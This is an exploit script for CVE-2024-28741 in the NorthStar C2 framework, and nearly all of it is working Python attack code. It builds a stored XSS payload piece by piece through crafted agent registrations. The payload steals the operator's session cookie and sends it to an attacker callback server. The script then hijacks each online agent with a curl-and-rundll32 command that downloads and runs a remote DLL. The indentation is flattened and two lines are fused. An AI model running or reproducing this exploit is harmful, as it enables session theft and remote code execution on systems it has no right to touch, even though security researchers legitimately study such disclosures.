# Exploit Title: NorthStar C2 agent RCE via stored XSS
# Date: 2024-03-11
# Exploit Author: @_chebuya
# Software Link: https://github.com/EnginDemirbilek/NorthStarC2
# Version: v1.0
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-28741
# Description: NorthStar C2 applies insufficient sanitization on agent registration routes, allowing an unauthenticated attacker to send multiple malicious agent registration requests to the teamserver to incrementally build a functioning javascript payload in the logs web page. This XSS can be leveraged to execute commands on NorthStar C2 agents
# Blog: https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/
from http.server import BaseHTTPRequestHandler, HTTPServer
from bs4 import BeautifulSoup
import requests
import base64
import threading
import time
import osclass Collector(BaseHTTPRequestHandler):
def do_GET(self):
cookie = self.path.split("=")[1]
print("Cookie: " + cookie)
self.send_response(200)
self.end_headers()
self.wfile.write(b"")
background_thread = threading.Thread(target=steal_agents, args=(cookie,))
background_thread.start()
self.server.shutdown()
def agent_execute_command(agent_id, csrf_token, headers, command):
data = {
'slave': agent_id,
'command': command,
'sid': agent_id,
'token': csrf_token
}
r = requests.post(target_url + '/functions/setCommand.nonfunction.php', headers=headers, data=data)
while True:
r = requests.get(target_url + f"/getresponse.php?slave={agent_id}", headers=headers)
if len(r.text) != 0 or command == "die":
break
time.sleep(1)
def steal_agents(cookie):
headers = {
"Cookie": f"PHPSESSID={cookie}"
}
r = requests.get(target_url + "/clients.php", headers=headers)
soup = BeautifulSoup(r.text, 'html.parser')
rows = soup.find_all('tr')
agent_ids = []
hostnames = []
for row in rows:
cells = row.find_all('td')
if len(cells) != 9:
continue
status = cells[7].text.strip()
if status != 'Online':
continue
agent_ids.append(cells[1].text.strip())
hostnames.append(cells[5].text.strip())
script_tags = soup.find_all('script')
csrf_token = None
for script_tag in script_tags:
if 'csrfToken' in script_tag.text:
csrf_token = script_tag.text.split('"')[1]
break
if csrf_token:
print("CSRF Token:", csrf_token)
else:
print("CSRF Token not found")
return
for i in range(len(agent_ids)):
agent_id = agent_ids[i]
hostname = hostnames[i]
print(f"Stealing {hostname} ({agent_id})...")
print("Enabling shell mode")
agent_execute_command(agent_id, csrf_token, headers, "enablecmd")
print(f"Running sliver cradle: {cradle_command}")
agent_execute_command(agent_id, csrf_token, headers, cradle_command)
print("Disabling shell mode")
agent_execute_command(agent_id, csrf_token, headers, "disablecmd")
print("Sending suicide to slave")
agent_execute_command(agent_id, csrf_token, headers, "die")
print("Exploit finished, exiting")
os._exit(0)
def xor_encryption(text, key):
encrypted_text = ""
for i in range(len(text)):
encrypted_text += chr(ord(text[i]) ^ ord(key[i % len(key)]))
return encrypted_text
def generate_sid(sid):
encrypted_sid = xor_encryption(sid, "northstar")
return base64.urlsafe_b64encode(encrypted_sid.encode()).decode()
def exploit(target_url, callback_url):
target_url = target_url.rstrip("/") + "/login.php"
protocol = callback_url.split(":")[0] + "://"
host = callback_url.split("/")[2].split(":")[0]
h1, h2 = host[:len(host)//2], host[len(host)//2:]
if callback_url.count(":") == 2:
port = callback_url.split(":")[2]
else:
if protocol == "https://":
port = "443"
else:
port = "80"
sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]
for sid in sid_payloads:
print(sid)
params = {
'sid': generate_sid(sid)
}
requests.get(target_url, params=params, verify=False)
def run(port):
server_address = ('', int(port))
httpd = HTTPServer(server_address, Collector)
print(f'Server running on port {port}')
httpd.serve_forever()
cradle_command = r"curl http://192.168.1.6:8000/stager.dll > c:\users\public\stager.dll & rundll32 c:\users\public\stager.dll,inject & echo DONE"
callback_host = "192.168.1.6"
callback_port = "8080"
target_url = "http://192.168.1.4:80"
callback_url = f"http://{callback_host}:{callback_port}"
print("Sending malicious agent registrations...")
exploit(target_url, callback_url)
print("Registrations finished, waiting for execution...")
run(callback_port)